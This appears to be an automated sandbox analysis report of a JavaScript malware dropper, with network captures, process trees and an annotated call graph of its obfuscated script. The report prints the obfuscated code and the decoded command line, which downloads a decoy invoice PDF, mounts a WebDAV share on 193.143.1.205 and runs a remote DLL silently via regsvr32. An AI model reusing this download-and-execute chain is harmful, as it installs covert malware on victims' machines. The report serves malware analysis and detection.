Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 00:06:15.636367083 CET	50704	53	192.168.2.7	1.1.1.1
Jan 11, 2025 00:06:28.029166937 CET	50240	53	192.168.2.7	1.1.1.1
Jan 11, 2025 00:06:44.028753996 CET	63852	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 00:06:15.636367083 CET	192.168.2.7	1.1.1.1	0xa486	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:06:28.029166937 CET	192.168.2.7	1.1.1.1	0x24a0	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:06:44.028753996 CET	192.168.2.7	1.1.1.1	0xa422	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 00:06:14.805823088 CET	1.1.1.1	192.168.2.7	0x5977	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:06:14.805823088 CET	1.1.1.1	192.168.2.7	0x5977	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:06:15.644598007 CET	1.1.1.1	192.168.2.7	0xa486	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:06:28.037703991 CET	1.1.1.1	192.168.2.7	0x24a0	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:06:44.036592007 CET	1.1.1.1	192.168.2.7	0xa422	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:06:53.273879051 CET	1.1.1.1	192.168.2.7	0x7459	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:06:53.273879051 CET	1.1.1.1	192.168.2.7	0x7459	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.43	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.41	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.37	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:08.176606894 CET	1.1.1.1	192.168.2.7	0x23a7	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.38	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:56.411094904 CET	1.1.1.1	192.168.2.7	0x3bca	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 00:07:56.411094904 CET	1.1.1.1	192.168.2.7	0x3bca	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49706	193.143.1.205	80	1512	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:06:05.060931921 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 00:06:05.869147062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:06:05 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 00:06:05.869163036 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 00:06:05.869175911 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 00:06:05.869194031 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 00:06:05.869206905 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 00:06:05.869216919 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 00:06:05.869230032 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 00:06:05.869240999 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 00:06:05.869259119 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 00:06:05.869270086 CET	152	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%gkPi~vU=.[
Jan 11, 2025 00:06:05.920454979 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49722	193.143.1.205	8888	5260	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 00:06:07.371057034 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 00:06:08.189161062 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 23:06:08 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	18:05:58
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1238420799116328606.js"
Imagebase:	0x7ff6d9c30000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	18:05:59
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll
Imagebase:	0x7ff76dce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	18:05:59
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	18:06:00
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	18:06:06
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	18:06:06
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff76dce0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:06:06
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	true
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x680000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:06:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	18:06:07
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	18:06:07
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1764,i,8655172441817396170,12315927752644769681,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xirgajr() {	xirgajr() ➔ undefined
1	srkzeg = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var xjuxmze = this[cfyyrue + seqkvng + abfevy + jvcczqfxo + shfyhtzc + dctehelc + opigddfg + uoojk] ( this[zndedlc + baohd + xkhbhzn + abfevy + hjydpbex + cfyyrue + uoojk][quhlvjdd + abfevy + shfyhtzc + seqkvng + uoojk + shfyhtzc + ifokrdft + eltam + vfigaqil + shfyhtzc + xkhbhzn + uoojk] ( zndedlc + baohd + xkhbhzn + abfevy + hjydpbex + cfyyrue + uoojk + iimntde + baohd + gszmn + shfyhtzc + qvyyodgu + qvyyodgu ) [kxdhtejt + shfyhtzc + tktlolxm + kxdhtejt + shfyhtzc + seqkvng + tqzarw] ( fvsipibni + eplfntglk + hqakhre + evhjy + qkosf + quhlvjdd + lrwcoj + kxdhtejt + kxdhtejt + hqakhre + kuqidcs + aqxfebp + qkosf + lrwcoj + baohd + hqakhre + kxdhtejt + zxcpapji + quhlvjdd + nylfgxfj + opigddfg + uoojk + abfevy + nylfgxfj + qvyyodgu + qcynsibqa + lscsmwo + seqkvng + opigddfg + shfyhtzc + qvyyodgu + zxcpapji + dctehelc + opigddfg + uoojk + shfyhtzc + abfevy + opigddfg + seqkvng + uoojk + hjydpbex + nylfgxfj + opigddfg + seqkvng + qvyyodgu + zxcpapji + onmdb + nylfgxfj + xkhbhzn + seqkvng + qvyyodgu + shfyhtzc ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( pkxpeeco = 0 ; pkxpeeco < srkzeg[qvyyodgu + shfyhtzc + opigddfg + tktlolxm + uoojk + gszmn] ; ++ pkxpeeco )
4	{
5	if ( xjuxmze == srkzeg[pkxpeeco] )
6	{
7	xjuxmze = true;
8	break ;
9	}
10	}
11	if ( xjuxmze !== true )
12	this[zndedlc + baohd + xkhbhzn + abfevy + hjydpbex + cfyyrue + uoojk][gyahqa + wfozlwf + hjydpbex + uoojk] ( );
13	this[zndedlc + baohd + xkhbhzn + abfevy + hjydpbex + cfyyrue + uoojk][quhlvjdd + abfevy + shfyhtzc + seqkvng + uoojk + shfyhtzc + ifokrdft + eltam + vfigaqil + shfyhtzc + xkhbhzn + uoojk] ( zndedlc + baohd + xkhbhzn + abfevy + hjydpbex + cfyyrue + uoojk + iimntde + baohd + gszmn + shfyhtzc + qvyyodgu + qvyyodgu ) [abfevy + wfozlwf + opigddfg] ( xkhbhzn + mdiziglc + tqzarw + qcynsibqa + dtvguuklu + xkhbhzn + qcynsibqa + cfyyrue + nylfgxfj + klsdcej + shfyhtzc + abfevy + jvcczqfxo + gszmn + shfyhtzc + qvyyodgu + qvyyodgu + iimntde + shfyhtzc + niabpg + shfyhtzc + qcynsibqa + lyolrb + quhlvjdd + nylfgxfj + mdiziglc + mdiziglc + seqkvng + opigddfg + tqzarw + qcynsibqa + chaajhhbk + dctehelc + opigddfg + cyomuw + nylfgxfj + khadyfa + shfyhtzc + lyolrb + zndedlc + shfyhtzc + eltam + kxdhtejt + shfyhtzc + exblxwjpl + wfozlwf + shfyhtzc + jvcczqfxo + uoojk + qcynsibqa + lyolrb + ifokrdft + wfozlwf + uoojk + fbpluymyk + hjydpbex + qvyyodgu + shfyhtzc + qcynsibqa + bpovksi + uoojk + shfyhtzc + mdiziglc + cfyyrue + bpovksi + zxcpapji + hjydpbex + opigddfg + cyomuw + nylfgxfj + hjydpbex + xkhbhzn + shfyhtzc + iimntde + cfyyrue + tqzarw + fdcftky + qcynsibqa + gszmn + uoojk + uoojk + cfyyrue + qwdavctub + dtvguuklu + dtvguuklu + wqmvacty + oxkuqvg + vrprazlp + iimntde + wqmvacty + oognxw + vrprazlp + iimntde + wqmvacty + iimntde + uiqtoii + arreteeaj + gshgpi + dtvguuklu + hjydpbex + opigddfg + cyomuw + nylfgxfj + hjydpbex + xkhbhzn + shfyhtzc + iimntde + cfyyrue + gszmn + cfyyrue + chaajhhbk + lgzrv + lgzrv + jvcczqfxo + uoojk + seqkvng + abfevy + uoojk + qcynsibqa + bpovksi + uoojk + shfyhtzc + mdiziglc + cfyyrue + bpovksi + zxcpapji + hjydpbex + opigddfg + cyomuw + nylfgxfj + hjydpbex + xkhbhzn + shfyhtzc + iimntde + cfyyrue + tqzarw + fdcftky + lgzrv + lgzrv + xkhbhzn + mdiziglc + tqzarw + qcynsibqa + dtvguuklu + xkhbhzn + qcynsibqa + opigddfg + shfyhtzc + uoojk + qcynsibqa + wfozlwf + jvcczqfxo + shfyhtzc + qcynsibqa + zxcpapji + zxcpapji + wqmvacty + oxkuqvg + vrprazlp + iimntde + wqmvacty + oognxw + vrprazlp + iimntde + wqmvacty + iimntde + uiqtoii + arreteeaj + gshgpi + smtmwwha + zafrha + zafrha + zafrha + zafrha + zxcpapji + tqzarw + seqkvng + cyomuw + klsdcej + klsdcej + klsdcej + abfevy + nylfgxfj + nylfgxfj + uoojk + zxcpapji + lgzrv + lgzrv + xkhbhzn + mdiziglc + tqzarw + qcynsibqa + dtvguuklu + xkhbhzn + qcynsibqa + abfevy + shfyhtzc + tktlolxm + jvcczqfxo + cyomuw + abfevy + vrprazlp + uiqtoii + qcynsibqa + dtvguuklu + jvcczqfxo + qcynsibqa + zxcpapji + zxcpapji + wqmvacty + oxkuqvg + vrprazlp + iimntde + wqmvacty + oognxw + vrprazlp + iimntde + wqmvacty + iimntde + uiqtoii + arreteeaj + gshgpi + smtmwwha + zafrha + zafrha + zafrha + zafrha + zxcpapji + tqzarw + seqkvng + cyomuw + klsdcej + klsdcej + klsdcej + abfevy + nylfgxfj + nylfgxfj + uoojk + zxcpapji + wqmvacty + gshgpi + zafrha + wqmvacty + zafrha + zafrha + uiqtoii + uiqtoii + uiqtoii + wxjhrubve + oognxw + zafrha + iimntde + tqzarw + qvyyodgu + qvyyodgu, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\158188222648.dll",0,false) ➔ 0
14	}
15	mdiziglc = "W";
16	mdiziglc = "u";
17	mdiziglc = "i";
18	mdiziglc = "Z";
19	mdiziglc = "E";
20	mdiziglc = "j";
21	mdiziglc = "J";
22	mdiziglc = "S";
23	mdiziglc = "D";
24	mdiziglc = "S";
25	mdiziglc = "l";
26	mdiziglc = "n";
27	mdiziglc = "n";
28	mdiziglc = "S";
29	mdiziglc = "T";
30	mdiziglc = "P";
31	mdiziglc = "W";
32	mdiziglc = "s";
33	mdiziglc = "M";
34	mdiziglc = "w";
35	mdiziglc = "i";
36	mdiziglc = "W";
37	mdiziglc = "B";
38	mdiziglc = "Z";
39	mdiziglc = "q";
40	mdiziglc = "Y";
41	mdiziglc = "U";
42	mdiziglc = "h";
43	mdiziglc = "z";
44	mdiziglc = "z";
45	mdiziglc = "R";
46	mdiziglc = "Q";
47	mdiziglc = "y";
48	mdiziglc = "N";
49	mdiziglc = "e";
50	mdiziglc = "O";
51	mdiziglc = "R";
52	mdiziglc = "Z";
53	mdiziglc = "N";
54	mdiziglc = "s";
55	mdiziglc = "m";
56	fdcftky = "P";
57	fdcftky = "e";
58	fdcftky = "M";
59	fdcftky = "o";
60	fdcftky = "p";
61	fdcftky = "L";
62	fdcftky = "v";
63	fdcftky = "T";
64	fdcftky = "A";
65	fdcftky = "l";
66	fdcftky = "G";
67	fdcftky = "y";
68	fdcftky = "l";
69	fdcftky = "V";
70	fdcftky = "A";
71	fdcftky = "n";
72	fdcftky = "F";
73	fdcftky = "m";
74	fdcftky = "O";
75	fdcftky = "W";
76	fdcftky = "X";
77	fdcftky = "T";
78	fdcftky = "T";
79	fdcftky = "z";
80	fdcftky = "s";
81	fdcftky = "Q";
82	fdcftky = "l";
83	fdcftky = "A";
84	fdcftky = "p";
85	fdcftky = "J";
86	fdcftky = "K";
87	fdcftky = "Q";
88	fdcftky = "W";
89	fdcftky = "r";
